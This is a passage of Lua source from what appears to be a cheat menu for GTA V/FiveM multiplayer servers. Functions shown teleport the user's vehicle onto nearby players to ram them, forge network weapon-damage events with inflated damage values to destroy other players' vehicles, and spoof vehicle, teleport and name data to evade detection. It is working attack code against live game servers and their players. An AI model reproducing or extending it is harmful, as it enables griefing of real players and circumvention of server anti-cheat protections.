menu.vars.bools.vehicleVdmTornadoActive and "Push (ON)" or "Push (OFF)" end return option end function assembledMenuFunctions.stopVehicleVdmTornado() menu.vars.bools.vehicleVdmTornadoActive = false menu.utils.safeExecute([[ _G.vehicleVdmTornadoActive = false _G.vehicleVdmTornadoState = nil _G.vehicleVdmTornadoRunId = (_G.vehicleVdmTornadoRunId or 0) + 1 ]]) end function assembledMenuFunctions.toggleVehicleVdmTornado() if not menu.vars.bools.vehicleVdmMode then menu.utils.notify("Enable VDM Mode first", "error", 2000) return end if not menu.utils.isAnyNearbyVehicleFallbackWhitelisted() then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if menu.vars.bools.vehicleVdmTornadoActive then menu.functions.stopVehicleVdmTornado() menu.utils.notify("Push OFF", "info", 2000) return end menu.vars.bools.vehicleVdmTornadoActive = true menu.utils.notify("Push ON", "success", 2000) menu.utils.safeExecute([[ _G.vehicleVdmTornadoRunId = (_G.vehicleVdmTornadoRunId or 0) + 1 local runId = _G.vehicleVdmTornadoRunId _G.vehicleVdmTornadoActive = true _G.vehicleVdmTornadoState = { angle = math.random() * 6.28318, phase = 0.0, phaseDir = 1, } Citizen.CreateThread(function() local farDist = 22.0 local nearDist = 4.0 local groundOffset = 0.25 local orbitStep = 0.0012 local phaseStep = 0.0025 while _G.vehicleVdmTornadoActive and _G.vehicleVdmTornadoRunId == runId do Wait(75) local myPed = PlayerPedId() if IsPedInAnyVehicle(myPed, false) then local vehicle = GetVehiclePedIsIn(myPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and GetPedInVehicleSeat(vehicle, -1) == myPed then local myCoords = GetEntityCoords(myPed) local closestPed, closestDist = nil, 999999.0 for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() then local targetPed = GetPlayerPed(player) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsEntityDead(targetPed) then local dist = #(myCoords - GetEntityCoords(targetPed)) if dist < closestDist then closestDist = dist closestPed = targetPed end end end end if closestPed and closestDist <= 150.0 then local st = _G.vehicleVdmTornadoState if not st then st = { angle = 0.0, phase = 0.0, phaseDir = 1 } _G.vehicleVdmTornadoState = st end st.angle = st.angle + orbitStep st.phase = st.phase + (phaseStep * st.phaseDir) if st.phase >= 1.0 then st.phase = 1.0 st.phaseDir = -1 elseif st.phase <= 0.0 then st.phase = 0.0 st.phaseDir = 1 end local targetCoords = GetEntityCoords(closestPed) local currentDist = nearDist + ((farDist - nearDist) * st.phase) local posX = targetCoords.x + (math.cos(st.angle) * currentDist) local posY = targetCoords.y + (math.sin(st.angle) * currentDist) local posZ = targetCoords.z local foundGround, groundZ = GetGroundZFor_3dCoord(posX, posY, targetCoords.z + 50.0, false) if foundGround then posZ = groundZ + groundOffset else posZ = targetCoords.z + groundOffset end local dirX = targetCoords.x - posX local dirY = targetCoords.y - posY local dirLen = math.sqrt((dirX * dirX) + (dirY * dirY)) if dirLen < 0.1 then dirX, dirY, dirLen = 1.0, 0.0, 1.0 end dirX = dirX / dirLen dirY = dirY / dirLen local moveSpeed = 9.0 local pushForce = 18.0 if st.phaseDir < 0 then moveSpeed = 14.0 pushForce = 28.0 end SetEntityAsMissionEntity(vehicle, true, true) SetVehicleEngineOn(vehicle, true, true, false) SetEntityCoordsNoOffset(vehicle, posX, posY, posZ, false, false, false) SetEntityRotation(vehicle, 0.0, 0.0, GetHeadingFromVector_2d(dirX, dirY), 2, true) SetEntityVelocity(vehicle, dirX * moveSpeed, dirY * moveSpeed, 0.0) ApplyForceToEntity(vehicle, 1, dirX * pushForce, dirY * pushForce, -4.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) SetVehicleOnGroundProperly(vehicle) end end end end if _G.vehicleVdmTornadoRunId == runId then _G.vehicleVdmTornadoState = nil end end) ]]) end function assembledMenuFunctions.getVehicleVdmHudData() if not menu.vars.vehicleVdmHud then menu.vars.vehicleVdmHud = { inputCooldown = 80, freecamScrollStates = {} } end return menu.vars.vehicleVdmHud end function assembledMenuFunctions.handleVehicleVdmModeInput() if not menu.vars.bools.vehicleVdmMode then return end if menu.vars.visible == true or menu.vars.isBindingHotkey then return end local hudData = menu.functions.getVehicleVdmHudData() local options = menu.functions.getVehicleVdmModeOptions() local selectedIndex = menu.vars.selectors.vehicleVdmModeStyle or 1 selectedIndex = math.max(1, math.min(selectedIndex, #options)) local scrollDirection, scrollCount = menu.utils.pollFreecamScrollWheel(hudData, "vdm") if scrollDirection ~= 0 then for _ = 1, scrollCount, 1 do selectedIndex = selectedIndex - scrollDirection if selectedIndex < 1 then selectedIndex = #options elseif selectedIndex > #options then selectedIndex = 1 end end menu.vars.selectors.vehicleVdmModeStyle = selectedIndex end if ImGuiKey and Ham and Ham.isKeyReleased and Ham.isKeyReleased(ImGuiKey.MouseLeft) then if selectedIndex == 4 then menu.functions.toggleVehicleVdmTornado() else menu.functions.runVehicleVdmModeAttack(selectedIndex) end end end function assembledMenuFunctions.drawVehicleVdmModeHud() if not menu.vars.bools.vehicleVdmMode then return end if menu.vars.visible == true or menu.vars.isBindingHotkey then return end if not Hdn or not Hdn.getResolution or not Hdn.drawText then return end local options = menu.functions.getVehicleVdmModeOptions() local selectedIndex = menu.vars.selectors.vehicleVdmModeStyle or 1 selectedIndex = math.max(1, math.min(selectedIndex, #options)) local screenWidth, screenHeight = Hdn.getResolution() local baseY = screenHeight * 0.88 local rowSpacing = 22 local function drawLabel(text, position, color, fontSize, shadowAlpha) shadowAlpha = shadowAlpha or (color and color[4]) or 255 Hdn.drawText(text, position, color, fontSize, true, true, { 0, 0, 0, shadowAlpha }) Hdn.drawText(text, position, color, fontSize, true, false, {}) end for index, option in ipairs(options) do local relativeIndex = index - selectedIndex local y = baseY + relativeIndex * rowSpacing local distance = math.abs(relativeIndex) local emphasis = math.max(0, 1 - distance) local shade = math.floor(190 + emphasis * 65) local alpha = math.floor(210 + emphasis * 45) local color = { shade, shade, shade, alpha } local fontSize = index == selectedIndex and 18 or 17 drawLabel( menu.functions.getVehicleVdmModeLabel(option), { screenWidth / 2, y }, color, fontSize, math.floor(alpha * 0.7) ) end end function assembledMenuFunctions.runVehicleVdmModeAttack(mode) if not menu.vars.bools.vehicleVdmMode then menu.utils.notify("Enable VDM Mode first", "error", 2000) return end if not menu.utils.isAnyNearbyVehicleFallbackWhitelisted() then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end mode = tonumber(mode) or 1 if mode < 1 or 3 < mode then return end if menu.vars.bools.vehicleVdmTornadoActive then menu.functions.stopVehicleVdmTornado() end local payload = string.format( [[ local mode = %d local smashHeight = 35.0 local launchDepth = 50.0 local sideDistance = 30.0 local sideHeight = 30.0 local myPed = PlayerPedId() if not IsPedInAnyVehicle(myPed, false) then return end local vehicle = GetVehiclePedIsIn(myPed, false) if vehicle == 0 or not DoesEntityExist(vehicle) or GetPedInVehicleSeat(vehicle, -1) ~= myPed then return end local myCoords = GetEntityCoords(myPed) local closestPed, closestDist = nil, 999999.0 for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() then local targetPed = GetPlayerPed(player) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsEntityDead(targetPed) then local dist = #(myCoords - GetEntityCoords(targetPed)) if dist < closestDist then closestDist = dist closestPed = targetPed end end end end if not closestPed or closestDist > 150.0 then return end local targetCoords = GetEntityCoords(closestPed) local heading = GetEntityHeading(closestPed) local attackPos, attackHeading, velX, velY, velZ, pitch, roll if mode == 1 then attackPos = vector3(targetCoords.x, targetCoords.y, targetCoords.z + smashHeight) attackHeading = heading velX, velY, velZ = 0.0, 0.0, -42.0 pitch, roll = 18.0, 0.0 elseif mode == 2 then attackPos = vector3(targetCoords.x, targetCoords.y, targetCoords.z - launchDepth) attackHeading = heading velX, velY, velZ = 0.0, 0.0, 58.0 pitch, roll = -8.0, 0.0 elseif mode == 3 then local sidePos = GetOffsetFromEntityInWorldCoords(closestPed, -sideDistance, -2.0, 0.0) attackPos = vector3(sidePos.x, sidePos.y, targetCoords.z + sideHeight) local dirX = targetCoords.x - attackPos.x local dirY = targetCoords.y - attackPos.y local dirZ = targetCoords.z - attackPos.z local dirLen = math.sqrt((dirX * dirX) + (dirY * dirY) + (dirZ * dirZ)) if dirLen < 0.1 then dirX, dirY, dirZ, dirLen = 1.0, 0.0, -1.0, 1.0 end dirX = dirX / dirLen dirY = dirY / dirLen dirZ = dirZ / dirLen attackHeading = GetHeadingFromVector_2d(dirX, dirY) velX, velY, velZ = dirX * 42.0, dirY * 42.0, dirZ * 42.0 pitch, roll = -10.0, -14.0 else return end SetEntityAsMissionEntity(vehicle, true, true) SetVehicleEngineOn(vehicle, true, true, false) SetEntityCoordsNoOffset(vehicle, attackPos.x, attackPos.y, attackPos.z, false, false, false) SetEntityRotation(vehicle, pitch or 0.0, roll or 0.0, attackHeading, 2, true) SetEntityVelocity(vehicle, velX, velY, velZ) if mode == 1 then ApplyForceToEntity(vehicle, 1, 0.0, 0.0, -120.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) elseif mode == 2 then ApplyForceToEntity(vehicle, 1, 0.0, 0.0, 180.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) elseif mode == 3 then ApplyForceToEntity(vehicle, 1, velX * 2.5, velY * 2.5, velZ * 2.5, 0.0, 0.0, 2.0, 0, false, true, true, false, true) end ]], mode ) menu.utils.safeExecute(payload) end function assembledMenuFunctions.toggleForceDragOut(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.forceDragOut if enabled and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() menu.vars.bools.forceDragOut = false return end menu.vars.bools.forceDragOut = enabled local playerPed = GetPlayerPed(-1) if enabled then menu.utils.notify("Force Drag Out mode enabled", "success", 3000) for flag, value in pairs({ [342] = false, [252] = true, [141] = true, [144] = true }) do SetPedConfigFlag(playerPed, flag, value) end else for flag, value in pairs({ [342] = true, [252] = false, [141] = false, [144] = false }) do SetPedConfigFlag(playerPed, flag, value) end menu.utils.notify("Force Drag Out mode disabled", "info", 3000) end end function assembledMenuFunctions.runLaunchVehicleNewOnTarget(entity, damageCount, options) if type(options) ~= "table" or not options then options = {} end local targetVehicle = options.targetVehicle if not targetVehicle then if not entity or not DoesEntityExist(entity) then menu.utils.notify("Target ped does not exist.", "error", 2500) return false end if not IsPedInAnyVehicle(entity, false) then return false end targetVehicle = GetVehiclePedIsIn(entity, false) end if targetVehicle == 0 or not DoesEntityExist(targetVehicle) or not IsEntityAVehicle(targetVehicle) then return false end local function runLaunch() local playerPed = PlayerPedId() local parentNetworkId = NetworkGetNetworkIdFromEntity(playerPed) damageCount = tonumber(damageCount) or 1000 local shouldAttach = options.attach ~= false local teleportVehicleToPed = options.teleportVehicleToPed == true local teleportPlayer = options.teleport ~= false and not teleportVehicleToPed local singleTarget = options.singleTarget == true local weaponHash = GetHashKey(options.weapon or "WEAPON_PISTOL") local offsetX = -0.85 local offsetY = -0.25 local offsetZ = 0.0 local launchWait = 1000 local vehicleRestoreWait = 200 local vehicleAttackWait = 100 local freecamActive = menu.vars and menu.vars.freecamMenuActive == true local restoreState if freecamActive and menu.utils.getFreecamPlayerRestoreState then restoreState = menu.utils.getFreecamPlayerRestoreState(playerPed) end local originalCoords = restoreState and restoreState.coords or GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local launchVehicle = targetVehicle local function getLaunchCoords() if freecamActive then local cameraCoords = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if cameraCoords and cameraRotation then local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) return cameraCoords + direction * 2.0, cameraRotation.z end end local playerCoords = GetEntityCoords(playerPed) local forward = GetEntityForwardVector(playerPed) return vector3(playerCoords.x + forward.x * 2.0, playerCoords.y + forward.y * 2.0, playerCoords.z), GetEntityHeading(playerPed) end local launchCoords, launchHeading = getLaunchCoords() local attachmentCoords = targetVehicle and GetOffsetFromEntityInWorldCoords(targetVehicle, offsetX, offsetY, offsetZ) or nil local startedDesync = false local ownsVehicleSpoof = false local function ensureVehicleSpoof() if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions.startDesyncNameVehicleSpoof then menu.functions.startDesyncNameVehicleSpoof() ownsVehicleSpoof = menu.vars._desyncNameSpoofOwned == true end end if not (menu.functions.isDesyncNameEffectActive and menu.functions.isDesyncNameEffectActive()) then startedDesync = true menu.vars._launchVehicleNewDesyncActive = true ensureVehicleSpoof() if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end else ensureVehicleSpoof() end local collisionThreadActive = false local function requestControl(vehicle, quick) local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then SetNetworkIdCanMigrate(networkId, true) end local maxAttempts = quick and 6 or 40 local waitTime = quick and 0 or 50 local attempts = 0 while not NetworkHasControlOfEntity(vehicle) do if not (maxAttempts > attempts) then return end NetworkRequestControlOfEntity(vehicle) if networkId and networkId ~= 0 and NetworkRequestControlOfNetworkId then NetworkRequestControlOfNetworkId(networkId) end if 0 < waitTime then Wait(waitTime) end attempts = attempts + 1 end end if teleportPlayer or teleportVehicleToPed then collisionThreadActive = true CreateThread(function() while collisionThreadActive do if DoesEntityExist(launchVehicle) then SetEntityNoCollisionEntity(playerPed, launchVehicle, true) SetEntityNoCollisionEntity(launchVehicle, playerPed, true) end if teleportPlayer then for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) then SetEntityNoCollisionEntity(playerPed, vehicle, true) SetEntityNoCollisionEntity(vehicle, playerPed, true) end end end Wait(0) end end) end local function damageVehicles(specificVehicle) local vehicles if specificVehicle then vehicles = { specificVehicle } elseif singleTarget and targetVehicle then vehicles = { targetVehicle } else vehicles = GetGamePool("CVehicle") end for _, vehicle in ipairs(vehicles) do if NetworkGetEntityIsNetworked(vehicle) and not IsEntityDead(vehicle) and 0 < GetVehicleEngineHealth(vehicle) then local owner = NetworkGetEntityOwner(vehicle) if owner ~= -1 then local serverId = GetPlayerServerId(owner) local networkId = NetworkGetNetworkIdFromEntity(vehicle) local damageEvent = { f133 = true, hitEntityWeapon = false, hasImpactDir = false, silenced = false, damageTime = 0, damageFlags = 1, hasActionResult = false, damage = 0, parentGlobalId = parentNetworkId, overrideDamage = true, hitWeaponAmmoAttachment = false, hitComponent = 0, willKill = true, hitGlobalId = networkId, damageType = 1, weaponHash = weaponHash } for _ = 1, damageCount, 1 do if not DoesEntityExist(vehicle) or IsEntityDead(vehicle) or GetVehicleEngineHealth(vehicle) <= 0 then break end Ham.sendWeaponDamageEvent(serverId, damageEvent) end end end end end if teleportVehicleToPed then if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end launchCoords, launchHeading = getLaunchCoords() if DoesEntityExist(launchVehicle) then local previousCoords = GetEntityCoords(launchVehicle) local previousHeading = GetEntityHeading(launchVehicle) NetworkRequestControlOfEntity(launchVehicle) SetEntityCoordsNoOffset( launchVehicle, launchCoords.x, launchCoords.y, launchCoords.z, false, false, false ) SetEntityHeading(launchVehicle, launchHeading or GetEntityHeading(playerPed)) Wait(vehicleAttackWait) damageVehicles(launchVehicle) Wait(vehicleRestoreWait - vehicleAttackWait) SetEntityCoordsNoOffset( launchVehicle, previousCoords.x, previousCoords.y, previousCoords.z, false, false, false ) SetEntityHeading(launchVehicle, previousHeading) end collisionThreadActive = false Wait(0) if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end elseif teleportPlayer then if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end SetEntityCoords( playerPed, attachmentCoords.x, attachmentCoords.y, attachmentCoords.z, false, false, false, true ) SetEntityHeading(playerPed, GetEntityHeading(launchVehicle)) Wait(50) if shouldAttach then AttachEntityToEntity( playerPed, launchVehicle, 0, offsetX, offsetY, offsetZ, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) end end if not teleportVehicleToPed then damageVehicles() end if teleportPlayer then Wait(launchWait) collisionThreadActive = false Wait(0) if shouldAttach and IsEntityAttached(playerPed) then DetachEntity(playerPed, true, true) end if freecamActive and menu.utils.restoreFreecamPlayerAfterLaunch then menu.utils.restoreFreecamPlayerAfterLaunch(playerPed, restoreState) else SetEntityCoords( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) SetEntityHeading(playerPed, originalHeading) end if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end end if startedDesync then menu.vars._launchVehicleNewDesyncActive = false if menu.functions.restoreDesyncNameVisible then menu.functions.restoreDesyncNameVisible() end if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end end if ownsVehicleSpoof then if menu.functions.endDesyncNameVehicleSpoofIfActive then menu.functions.endDesyncNameVehicleSpoofIfActive() end return end if startedDesync and menu.functions.endDesyncNameVehicleSpoofIfActive then menu.functions.endDesyncNameVehicleSpoofIfActive() end end if options.runInline then runLaunch() else CreateThread(runLaunch) end return true end function assembledMenuFunctions.launchVehicleNew(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if not options or not options.targetInfo then menu.utils.notify("No player selected", "error", 2000) return end menu.functions.runLaunchVehicleNewOnTarget(options.targetInfo.ped, 1000, { attach = false, singleTarget = true, teleportVehicleToPed = true }) end function assembledMenuFunctions.sendExplodeVehicleDamageEvent(entity, parentGlobalId, weaponHash) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not NetworkGetEntityIsNetworked(entity) or IsEntityDead(entity) or GetVehicleEngineHealth(entity) <= 0 then return end local owner = NetworkGetEntityOwner(entity) if owner == -1 then return end local serverId = GetPlayerServerId(owner) Ham.sendWeaponDamageEvent(serverId, { f133 = true, hitEntityWeapon = false, hasImpactDir = false, silenced = false, damageTime = 0, damageFlags = 1, hasActionResult = false, damage = 19999, parentGlobalId = parentGlobalId, overrideDamage = true, hitWeaponAmmoAttachment = false, hitComponent = 0, willKill = true, hitGlobalId = NetworkGetNetworkIdFromEntity(entity), damageType = 1, weaponHash = weaponHash or menu.utils.getSpawnExplosionWeaponHash(729375873) }) end function assembledMenuFunctions.fireRocketLeagueRocket(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not menu.utils or not menu.utils.freecamSpawnExplosion then return end local cameraCoords = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraCoords or not cameraRotation then return end local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) menu.utils.freecamSpawnExplosion( cameraCoords, direction, cameraRotation, { allowOutsideFreecam = true, ignoreVehicle = entity } ) end function assembledMenuFunctions.fireRocketLeagueLasers(entity) if not entity or entity == 0 or not DoesEntityExist(entity) or not Ham or not Ham.sendWeaponDamageEvent then return end local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end local model = GetEntityModel(entity) local _, maximumDimensions = GetModelDimensions(model) local forwardOffset = 1.5 local heightOffset = 0.55 if maximumDimensions then if maximumDimensions.y then forwardOffset = maximumDimensions.y - 0.35 end if maximumDimensions.z then heightOffset = math.max(0.45, maximumDimensions.z * 0.55) end end local cameraCoords = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraCoords or not cameraRotation then return end local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local rayDistance = 500.0 local rayEnd = vector3( cameraCoords.x + direction.x * rayDistance, cameraCoords.y + direction.y * rayDistance, cameraCoords.z + direction.z * rayDistance ) RequestCollisionAtCoord(cameraCoords.x, cameraCoords.y, cameraCoords.z) RequestAdditionalCollisionAtCoord(cameraCoords.x, cameraCoords.y, cameraCoords.z) local rayHandle = StartShapeTestRay( cameraCoords.x, cameraCoords.y, cameraCoords.z, rayEnd.x, rayEnd.y, rayEnd.z, -1, entity, 0 ) local deadline = GetGameTimer() + 100 local status repeat repeat local hit, hitCoords, surfaceNormal, hitEntity status, hit, hitCoords, surfaceNormal, hitEntity = GetShapeTestResult(rayHandle) if status == 1 then Wait(0) if deadline > GetGameTimer() then break end end local didHit = hit == true or hit == 1 if not hitCoords or not hitCoords.x or not didHit then hitCoords = rayEnd hitEntity = nil end local muzzleCoords = GetOffsetFromEntityInWorldCoords(entity, 0.0, forwardOffset, heightOffset) if not muzzleCoords or not muzzleCoords.x then return end local beamLength = #(vector3(hitCoords.x, hitCoords.y, hitCoords.z) - cameraCoords) if beamLength < 1.0 then beamLength = 1.0 end local lateral = vector3(math.cos(math.rad(cameraRotation.z)), math.sin(math.rad(cameraRotation.z)), 0.0) local lateralOffset = 0.18 local leftOrigin = vector3( muzzleCoords.x - lateral.x * lateralOffset, muzzleCoords.y - lateral.y * lateralOffset, muzzleCoords.z ) local rightOrigin = vector3( muzzleCoords.x + lateral.x * lateralOffset, muzzleCoords.y + lateral.y * lateralOffset, muzzleCoords.z ) local leftTarget = vector3( leftOrigin.x + direction.x * beamLength, leftOrigin.y + direction.y * beamLength, leftOrigin.z + direction.z * beamLength ) local rightTarget = vector3( rightOrigin.x + direction.x * beamLength, rightOrigin.y + direction.y * beamLength, rightOrigin.z + direction.z * beamLength ) local rayWeapon = GetHashKey("WEAPON_RAYCARBINE") local unarmedWeapon = GetHashKey("WEAPON_UNARMED") local previousWeapon = GetSelectedPedWeapon(playerPed) RemoveWeaponFromPed(playerPed, rayWeapon) GiveWeaponToPed(playerPed, rayWeapon, 250, true, false) local beams = { { origin = leftOrigin, target = leftTarget }, { origin = rightOrigin, target = rightTarget } } for index = 1, #beams, 1 do if menu.functions.fireLazerEyesBulletBetween then menu.functions.fireLazerEyesBulletBetween( beams[index].origin, beams[index].target, rayWeapon, playerPed, entity, 0, nil ) end end RemoveWeaponFromPed(playerPed, rayWeapon) if previousWeapon and previousWeapon ~= 0 then SetCurrentPedWeapon(playerPed, previousWeapon, true) else SetCurrentPedWeapon(playerPed, unarmedWeapon, true) end if not hitEntity or hitEntity == 0 or not DoesEntityExist(hitEntity) then return end if hitEntity == entity or hitEntity == playerPed then return end if not IsEntityAPed(hitEntity) or not IsPedAPlayer(hitEntity) then return end if IsEntityDead(hitEntity) or IsPedDeadOrDying(hitEntity, true) then return end if menu.utils.isPedFriend and menu.utils.isPedFriend(hitEntity) then return end local playerIndex = NetworkGetPlayerIndexFromPed(hitEntity) if not playerIndex or playerIndex == -1 or playerIndex == PlayerId() then return end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return end local damageValues = { 15, 19, 20 } local damage = damageValues[math.random(1, #damageValues)] local targetNetworkId = NetworkGetNetworkIdFromEntity(hitEntity) if not targetNetworkId or targetNetworkId == 0 then return end local playerCoords = GetEntityCoords(playerPed) local targetDistance = #(playerCoords - GetEntityCoords(hitEntity)) local boneCoords = GetPedBoneCoords(hitEntity, 24818, 0.0, 0.0, 0.0) if not boneCoords or not boneCoords.x then return end local localCoords = GetOffsetFromEntityGivenWorldCoords(hitEntity, boneCoords.x, boneCoords.y, boneCoords.z) if not localCoords or localCoords.x == nil then return end Ham.sendWeaponDamageEvent(serverId, { weaponHash = 133987706, damage = damage, damageType = 3, hitGlobalId = targetNetworkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = localCoords.x, localPosY = localCoords.y, localPosZ = localCoords.z, f112Data = targetDistance, willKill = false, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) until true until status ~= 1 or deadline <= GetGameTimer() end function assembledMenuFunctions.sendSelectedPlayerKickVehicleDamage( options, useVehicleSpoof, suppliedVehicle, repeatCount ) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end local targetPed = options and options.targetInfo and options.targetInfo.ped if not suppliedVehicle and (not targetPed or not DoesEntityExist(targetPed)) then menu.utils.notify("No valid player selected", "error", 2000) return end if not suppliedVehicle and not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Selected player is not in a vehicle", "error", 2000) return end local vehicle = suppliedVehicle or GetVehiclePedIsIn(targetPed, false) if vehicle == 0 or not DoesEntityExist(vehicle) or not NetworkGetEntityIsNetworked(vehicle) or IsEntityDead(vehicle) or GetVehicleEngineHealth(vehicle) <= 0 then menu.utils.notify("Selected player's vehicle is not available", "error", 2000) return end local owner = NetworkGetEntityOwner(vehicle) if owner == -1 then menu.utils.notify("Vehicle has no network owner", "error", 2500) return end local serverId = GetPlayerServerId(owner) if not serverId or serverId <= 0 then menu.utils.notify("Vehicle owner is not available", "error", 2500) return end local vehicleNetworkId = NetworkGetNetworkIdFromEntity(vehicle) if useVehicleSpoof and (not Ham.Network or not Ham.Network.vehicleSpoof) then menu.utils.notify("Vehicle spoof is not available.", "error", 2500) return end local function sendDamage() local success, errorMessage = pcall(function() if useVehicleSpoof then local spoofActive = Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() if not spoofActive then local spoofOffset = menu.functions.getVehicleSpoofOffset and menu.functions.getVehicleSpoofOffset() or 0 Ham.Network.vehicleSpoof(true, spoofOffset, 1) end Citizen.Wait(100) end if not DoesEntityExist(vehicle) or not IsEntityAVehicle(vehicle) or NetworkGetNetworkIdFromEntity(vehicle) ~= vehicleNetworkId then return end for _ = 1, repeatCount or 1, 1 do Ham.sendWeaponDamageEvent(serverId, { f133 = true, hitEntityWeapon = false, hasImpactDir = false, silenced = false, damageTime = 0, damageFlags = useVehicleSpoof and 22222222 or 1, hasActionResult = false, damage = 222222, parentGlobalId = NetworkGetNetworkIdFromEntity(PlayerPedId()), overrideDamage = true, hitWeaponAmmoAttachment = false, hitComponent = 10, willKill = false, hitGlobalId = vehicleNetworkId, damageType = 1, weaponHash = useVehicleSpoof and 453432689 or 3218215474 }) end end) if useVehicleSpoof then Citizen.Wait(50) local bools = menu.vars.bools or {} local fullInvisible = bools.fullInvisible == true or bools.fullInvisibleWalk == true or menu.vars.pmFullInvisibleActive == true or _G.pmFullInvisibleActive == true if not fullInvisible then local disabled = pcall(Ham.Network.vehicleSpoof, false) if not disabled then menu.utils.notify("Could not disable vehicle spoof.", "error", 2500) end end end if not success then menu.utils.notify("Vehicle damage failed: " .. tostring(errorMessage), "error", 2500) end end if useVehicleSpoof then Citizen.CreateThread(sendDamage) else sendDamage() end end function assembledMenuFunctions.kickSelectedPlayerVehicle(options) menu.functions.kickSelectedPlayerVehicleAnimated(options) end function assembledMenuFunctions.kickSelectedPlayerVehicleAnimated(options, suppliedVehicle, physicalKick) if menu.vars.kickVehicleAnimationActive then return end if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end local targetPed = options and options.targetInfo and options.targetInfo.ped if not suppliedVehicle and (not targetPed or not DoesEntityExist(targetPed) or not IsPedInAnyVehicle(targetPed, false)) then menu.utils.notify("Selected player is not in a vehicle", "error", 2000) return end local vehicle = suppliedVehicle or GetVehiclePedIsIn(targetPed, false) local playerPed = PlayerPedId() if vehicle == 0 or not DoesEntityExist(vehicle) or IsPedInAnyVehicle(playerPed, false) or IsEntityAttached(playerPed) then menu.utils.notify("Leave your vehicle or attachment before kicking", "error", 2000) return end menu.vars.kickVehicleAnimationActive = true Citizen.CreateThread(function() local animDict = "melee@unarmed@streamed_core" local animName = "kick_close_a" local attached = false local collisionActive = true local success, errorMessage = pcall(function() Citizen.CreateThread(function() while collisionActive do if not DoesEntityExist(playerPed) then return end for _, otherVehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(otherVehicle) then SetEntityNoCollisionEntity(playerPed, otherVehicle, true) SetEntityNoCollisionEntity(otherVehicle, playerPed, true) end end Citizen.Wait(0) end end) RequestAnimDict(animDict) local deadline = GetGameTimer() + 3000 while not HasAnimDictLoaded(animDict) and deadline > GetGameTimer() do Citizen.Wait(10) end if not HasAnimDictLoaded(animDict) then menu.utils.notify("Kick animation could not be loaded", "error", 2000) return end if not DoesEntityExist(vehicle) or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end local minimumDimensions, maximumDimensions = GetModelDimensions(GetEntityModel(vehicle)) local attachX = 0.0 local attachY = maximumDimensions.y + 0.55 local attachZ = minimumDimensions.z + 0.65 local attachHeading = 180.0 if physicalKick then local playerCoords = GetEntityCoords(playerPed) local localCoords = GetOffsetFromEntityGivenWorldCoords(vehicle, playerCoords.x, playerCoords.y, playerCoords.z) local closestX = math.max(minimumDimensions.x, math.min(maximumDimensions.x, localCoords.x)) local closestY = math.max(minimumDimensions.y, math.min(maximumDimensions.y, localCoords.y)) local directionX = localCoords.x - closestX local directionY = localCoords.y - closestY local distance = math.sqrt(directionX * directionX + directionY * directionY) if distance < 0.001 then local sides = { { localCoords.x - minimumDimensions.x, -1.0, 0.0, minimumDimensions.x, localCoords.y }, { maximumDimensions.x - 